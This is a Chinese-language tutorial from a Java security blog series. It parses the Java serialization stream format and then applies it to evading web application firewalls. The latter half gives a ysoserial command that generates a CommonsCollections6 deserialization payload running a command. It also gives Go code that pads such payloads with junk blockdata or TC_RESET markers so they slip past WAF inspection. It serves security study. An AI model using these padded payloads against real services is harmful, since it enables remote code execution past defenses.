JAVA安全|基础篇:浅谈序列化协议解析及应用

admin 2023年5月15日01:29:07评论18 views字数 11474阅读38分14秒阅读模式

本文为JAVA安全系列文章第二十八篇,主要学习序列化协议语法以及序列化协议的实战应用。

0x01  原始序列化数据的解析

现在有如下一个实现了java.io.Serializable接口的简单Person类:

import java.io.Serializable;

public class Person implements Serializable {
   private String name;
   private int age;
   private Person paraent;

   public Person(String name, int age) {
       this.name = name;
       this.age = age;
  }

   public void setParaent(Person paraent) {
       this.paraent = paraent;
  }
}

我们创建一个Person对象,然后将其序列化并写入到文件:

public class Serial {
   public static void main(String[] args) throws Exception {
       Person person = new Person("walker1995", 18);
       person.setParaent(new Person("walker",48));

       ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.txt"));
       oos.writeObject(person);
  }
}

生成的person.txt文件我们使用https://hexed.it/打开如下:

JAVA安全|基础篇:浅谈序列化协议解析及应用

左边是原始的二进制数据,右边是经过ASCII解码后可以看到的一些内容,可以看到类的全限定名和一些字段的信息。

序列化的二进制数据里面到底包含了什么信息?我们如何进行解读呢?

可以使用SerializationDumper这个工具来帮助我们解析原始的序列化数据流,项目地址:

https://github.com/NickstaDB/SerializationDumper

使用命令:

 java -jar SerializationDumper-v1.13.jar -r person.txt

解析得到如下结果:

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
 TC_OBJECT - 0x73
   TC_CLASSDESC - 0x72
     className
       Length - 41 - 0x00 29
       Value - com.javasec.Serialization_Protocol.Person - 0x636f6d2e6a6176617365632e53657269616c697a6174696f6e5f50726f746f636f6c2e506572736f6e
     serialVersionUID - 0x93 77 8b 13 23 46 ca a7
     newHandle 0x00 7e 00 00
     classDescFlags - 0x02 - SC_SERIALIZABLE
     fieldCount - 3 - 0x00 03
     Fields
       0:
         Int - I - 0x49
         fieldName
           Length - 3 - 0x00 03
           Value - age - 0x616765
       1:
         Object - L - 0x4c
         fieldName
           Length - 4 - 0x00 04
           Value - name - 0x6e616d65
         className1
           TC_STRING - 0x74
             newHandle 0x00 7e 00 01
             Length - 18 - 0x00 12
             Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
       2:
         Object - L - 0x4c
         fieldName
           Length - 7 - 0x00 07
           Value - paraent - 0x70617261656e74
         className1
           TC_STRING - 0x74
             newHandle 0x00 7e 00 02
             Length - 43 - 0x00 2b
             Value - Lcom/javasec/Serialization_Protocol/Person; - 0x4c636f6d2f6a6176617365632f53657269616c697a6174696f6e5f50726f746f636f6c2f506572736f6e3b
     classAnnotations
       TC_ENDBLOCKDATA - 0x78
     superClassDesc
       TC_NULL - 0x70
   newHandle 0x00 7e 00 03
   classdata
     com.javasec.Serialization_Protocol.Person
       values
         age
          (int)18 - 0x00 00 00 12
         name
          (object)
             TC_STRING - 0x74
               newHandle 0x00 7e 00 04
               Length - 10 - 0x00 0a
               Value - walker1995 - 0x77616c6b657231393935
         paraent
          (object)
             TC_OBJECT - 0x73
               TC_REFERENCE - 0x71
                 Handle - 8257536 - 0x00 7e 00 00
               newHandle 0x00 7e 00 05
               classdata
                 com.javasec.Serialization_Protocol.Person
                   values
                     age
                      (int)48 - 0x00 00 00 30
                     name
                      (object)
                         TC_STRING - 0x74
                           newHandle 0x00 7e 00 06
                           Length - 6 - 0x00 06
                           Value - walker - 0x77616c6b6572
                     paraent
                      (object)
                         TC_NULL - 0x70

通过使用工具,似乎我们能够大致地读懂序列化二进制数据了,但对于解析结果中出现的一些字段我们还是会有点懵逼,不明白这个字段到底代表的是什么。故而,我们需要来系统学习下序列化协议。

0x02  序列化协议语法

本节大部分内容参考(抄自) p神《JAVA安全漫谈》

要理解序列化协议,可以先阅读这篇英文文档:

https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html

根据文档的描述可以知道序列化协议的核心架构如下:

stream:
magic version contents

contents:
content
contents content

content:
object
blockdata

object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET

在P神的《JAVA安全漫谈》中将这种格式称为依次展开的巴科斯范式。

一、stream

stream就是指完整的序列化协议流, 它是由三部分组成:magic、version和contents。

根据文档的描述,magic和version是在java.io.ObjectStreamConstants接口中定义的常量:

public interface ObjectStreamConstants {

   /**
    * Magic number that is written to the stream header.
    */
   final static short STREAM_MAGIC = (short)0xaced;

   /**
    * Version number that is written to the stream header.
    */
   final static short STREAM_VERSION = 5;
}

magic等于0xaced,version等于5,这两个变量都是short类型,也就是两个字节的整型。这也就是为什么我们说序列化协议流是以 xACxEDx00x05 开头的原因。

二、contents

contents下面有两行定义。可见, contents 等于content ,或者 contents content。

怎么理解呢?

这里实际上是一个简单的递归下降的规则, contents 可以由一个 content 组成,也可以由一个 contents 与一个 content 组成,而后面这种情况里的 contents 又可以继续由这两种情况组成,最后形成一个左递归。

我们可以理解为:contents 是由一个或多个 content 组成。

三、content

content 又是由 object 或者 blockdata 组成。

blockdata 是一个由数据长度加数据本身组成的一个结构,里面可以填充任意内容。这个在序列化协议的学习中并不重要,但在应用中会需要。

四、object

object 就是真正包含Java对象的一个结构,在上面的核心架构中可以看到, object 是由下面任意一个结构组成:

  newObject     表示一个对象
newClass 表示一个类
newArray 表示一个数组
newString 表示一个字符串
newEnum 表示一个枚举类型
newClassDesc 表示一个类定义
prevObject 一个引用,可以指向任意其他类型(通过Reference ID)
nullReference 表示null
exception 表示一个异常
TC_RESET 重置Reference ID

有三个比较容易混淆的结构,对象 newObject 、类 newClass 和类定义 newClassDesc 。

这里的对象和类的区别,正如Java中对象和类的区别,前者是某个类实例化的对象,后者是这个类本身。而类定义应该理解为对某一个类的描述,比如这个类名是什么,类中有哪些字段等等。

查看这三个结构的Grammer:

newObject:
TC_OBJECT classDesc newHandle classdata[] // data for each class
 
newClass:
TC_CLASS classDesc newHandle

classDesc:
newClassDesc
nullReference
(ClassDesc)prevObject     // an object required to be of type
                            // ClassDesc
               
newClassDesc:
TC_CLASSDESC className serialVersionUID newHandle classDescInfo
TC_PROXYCLASSDESC newHandle proxyClassDescInfo
1.newObject && newClass

newObject 和 newClass 都是由一个标示符+ classDesc + newHandle 组成,只不过 newObject 多一个 classdata[] 。原因是,它是一个对象,其包含了实例化类中的数据,这些数据就储存在 classdata[] 中。

2.classDesc & newClassDesc

classDesc 就是前面说的类定义,不过这个 classDesc 和前面的 newClassDesc 稍微有点区别, classDesc 可以是一个普通的 newClassDesc ,也可以是一个null,也可以是一个指针,指向任意前面已经出现过的其他的类定义。

我们只要简单把 classDesc 理解为对 newClassDesc 的一个封装即可

3.newHandle

newHandle 是一个唯一ID,序列化协议里的每一个结构都拥有一个ID,这个ID由 0x7E0000 开始,每遇 到下一个结构就+1,并设置成这个结构的唯一ID。而前面说的 prevObject 指针,就是通过这个ID来定位它指向的结构。


理解了核心架构,对序列化协议就有了一个初步的了解。读者可以再结合文档回过头去看看第一节中解析出来的序列化数据,应该就能弄懂序列化协议了。

0x03  序列化协议的应用

作为一个实用主义者,我的理念是:倘若我们研究或学习的东西在实际中没用,那么我们就没必要去学了。

那么,学了序列化协议在实际中能有什么用处呢?

一、c0ny1 序列化头加脏数据过WAF

c0ny1师傅的这篇文章Java反序列化数据绕WAF之加大量脏数据就给出了很好的回答,弄懂了序列化协议我们可以用来加入脏数据绕过waf或者修改序列化数据达到某种目的。

在该案例中,waf应该是把gadget的class加入了规则,c0ny1师傅过waf的思路是:

大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。在序列化头后加了40000个x字符,WAF便不再拦截。

由于直接手工在burp里加入垃圾数据会破坏序列化数据的结构,于是c0ny1利用了集合对象将脏数据对象和ysoserial gadget对象一起包裹起来,并改造原生ysoserial来绕过waf!!!

c0ny1师傅改造的ysoserial项目地址:

https://github.com/woodpecker-framework/ysoserial-for-woodpecker

直接用,有手就行(狗头):

生成payload:

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:calc" --dirt-data-length 400000 >c0ny1.ser

查看payload:

JAVA安全|基础篇:浅谈序列化协议解析及应用

加载payload:

JAVA安全|基础篇:浅谈序列化协议解析及应用

二、p神另类方法加脏数据过WAF
1.zkar

zkar是p神使用go语言写的一款java序列化数据流分析工具,并提供了一些库来修改序列化数据流!!!

项目地址:https://github.com/phith0n/zkar

2.牛刀小试-序列化数据尾部加脏数据过WAF

序列化协议中content 是由 object 或 blockdata 组成, blockdata 就是一个适合用来填充脏字符的结构:

content:
object
blockdata
 
blockdata:
blockdatashort
blockdatalong

blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]

blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]

使用可以保存较长数据的blockdatalong来填充垃圾数据,该结构的三部分为:

TC_BLOCKDATALONG 标示符
(int)<size> 数据长度,是一个4字节的整型
(byte)[size] 数据具体的内容

编写Go程序,并调用zkar库中的结构和方法,来构造填充了垃圾字符的 CommonsCollections6的Payload:

package main

import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
"strings"
)

func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}

var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}

serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}

这段代码表示在读取原始的Payload(cc6.ser)后,新建了一个 serz.TCContent{} 结构,并向其填充了4w个a,最后生成的 Payload如下:

JAVA安全|基础篇:浅谈序列化协议解析及应用

加载该payload成功执行:

JAVA安全|基础篇:浅谈序列化协议解析及应用

3.p神原创另类头部加脏数据方法

上面的填充有缺陷,因为填充的数据是在Payload之后。如果WAF是检查数据包的前N 个字符,则依然无法绕过WAF。

那么如何把垃圾字符填充在Payload之前呢?

我们尝试将blockdata放到前面:

serialization.Contents = append([]*serz.TCContent{blockData},serialization.Contents...)
ioutil.WriteFile("cc6-padding2.ser", serialization.ToBytes(), 0o755)

得到的payload如下:

JAVA安全|基础篇:浅谈序列化协议解析及应用

加载payload:

JAVA安全|基础篇:浅谈序列化协议解析及应用

出现了报错,可以看到是在java.io.ObjectInputStream.readObject0()处报的错。我们来看下改方法:

/**
* Underlying readObject implementation.
*/
private Object readObject0(boolean unshared) throws IOException {
   boolean oldMode = bin.getBlockDataMode();
   if (oldMode) {
       int remain = bin.currentBlockRemaining();
       if (remain > 0) {
           throw new OptionalDataException(remain);
      } else if (defaultDataEnd) {
           /*
            * Fix for 4360508: stream is currently at the end of a field
            * value block written via default serialization; since there
            * is no terminating TC_ENDBLOCKDATA tag, simulate
            * end-of-custom-data behavior explicitly.
            */
           throw new OptionalDataException(true);
      }
       bin.setBlockDataMode(false);
  }

   byte tc;
   while ((tc = bin.peekByte()) == TC_RESET) {
       bin.readByte();
       handleReset();
  }

   depth++;
   try {
       switch (tc) {
           case TC_NULL:
               return readNull();

           case TC_REFERENCE:
               return readHandle(unshared);

           case TC_CLASS:
               return readClass(unshared);

           case TC_CLASSDESC:
           case TC_PROXYCLASSDESC:
               return readClassDesc(unshared);

           case TC_STRING:
           case TC_LONGSTRING:
               return checkResolve(readString(unshared));

           case TC_ARRAY:
               return checkResolve(readArray(unshared));

           case TC_ENUM:
               return checkResolve(readEnum(unshared));

           case TC_OBJECT:
               return checkResolve(readOrdinaryObject(unshared));

           case TC_EXCEPTION:
               IOException ex = readFatalException();
               throw new WriteAbortedException("writing aborted", ex);

           case TC_BLOCKDATA:
           case TC_BLOCKDATALONG:
               if (oldMode) {
                   bin.setBlockDataMode(true);
                   bin.peek();             // force header read
                   throw new OptionalDataException(
                       bin.currentBlockRemaining());
              } else {
                   throw new StreamCorruptedException(
                       "unexpected block data");
              }

           case TC_ENDBLOCKDATA:
               if (oldMode) {
                   throw new OptionalDataException(true);
              } else {
                   throw new StreamCorruptedException(
                       "unexpected end of block data");
              }

           default:
               throw new StreamCorruptedException(
                   String.format("invalid type code: %02X", tc));
      }
  } finally {
       depth--;
       bin.setBlockDataMode(oldMode);
  }
}

由上面的代码可知,只有在处理 TC_RESET 的时候是一个循环,通过while循环消耗掉所有的 TC_RESET 后就进入了一 个switch选择语句。此时因为 contents 里第一个结构是一个 blockdata ,所以会进入 case TC_BLOCKDATALONG 中,而这里面就抛出了异常。

也就是说,Java只会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。

前面在 object 后填充一个 blockdata 的方法之所以可行,就是因为首个结构是 object ,处理完后反序列化就结束了, blockdata 根本没有处理,也就不会抛出异常了。

那么,利用 contents 来填充垃圾字符的思路依然有效,在处理object 前Java会丢弃所有的 TC_RESET (实际上在Grammer中 TC_RESET 也是 object 的一种结 构),故我们可以使用TC_RESET来填充垃圾字符。

Go代码如下:

package main

import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)

func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}

var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}

serialization.Contents = append(contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding3.ser", serialization.ToBytes(), 0o755)
}

得到的payload:

JAVA安全|基础篇:浅谈序列化协议解析及应用

加载payload:

JAVA安全|基础篇:浅谈序列化协议解析及应用

成功执行,perfect!!!

0x04  总结

本文我们学习了序列化协议的语法,并学习使用了下c0ny1师傅改造的ysoserial以及p神的zkar项目来对序列化 payload加脏数据达到绕过waf并成功执行代码的目的。


参考:

p神《JAVA安全漫谈》

c0ny1:Java反序列化数据绕WAF之加大量脏数据


Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)

第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造

第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链

第16篇:JAVA安全|Gadget篇:CC5 CC7链

第17篇:JAVA安全|Gadget篇:CC2  CC4链—Commons-Collections4.0下的特有链

第18篇:JAVA安全|Gadget篇:CC8 CC9链

第19篇:JAVA安全|Gadget篇:Ysoserial CB1链

第20篇:JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析

第21篇:JAVA安全|Gadget篇:JDK原生链—JDK7u21

第22篇:JAVA安全|字节码篇:字节码操作库—javassist

第23篇:JAVA安全|字节码篇:字节码文件结构与解读

第24篇:JAVA安全|字节码篇:常见字节码指令(JVM指令)

第25篇:JAVA安全|字节码篇:字节码操作框架—ASM(原理)

第26篇:JAVA安全|字节码篇:字节码操作框架-ASM(基本使用)

第27篇:JAVA安全|字节码篇:浅谈ASM结合JavaAgent的字节码插桩技术


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):JAVA安全|基础篇:浅谈序列化协议解析及应用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月15日01:29:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|基础篇:浅谈序列化协议解析及应用https://cn-sec.com/archives/1725551.html

发表评论

匿名网友 填写信息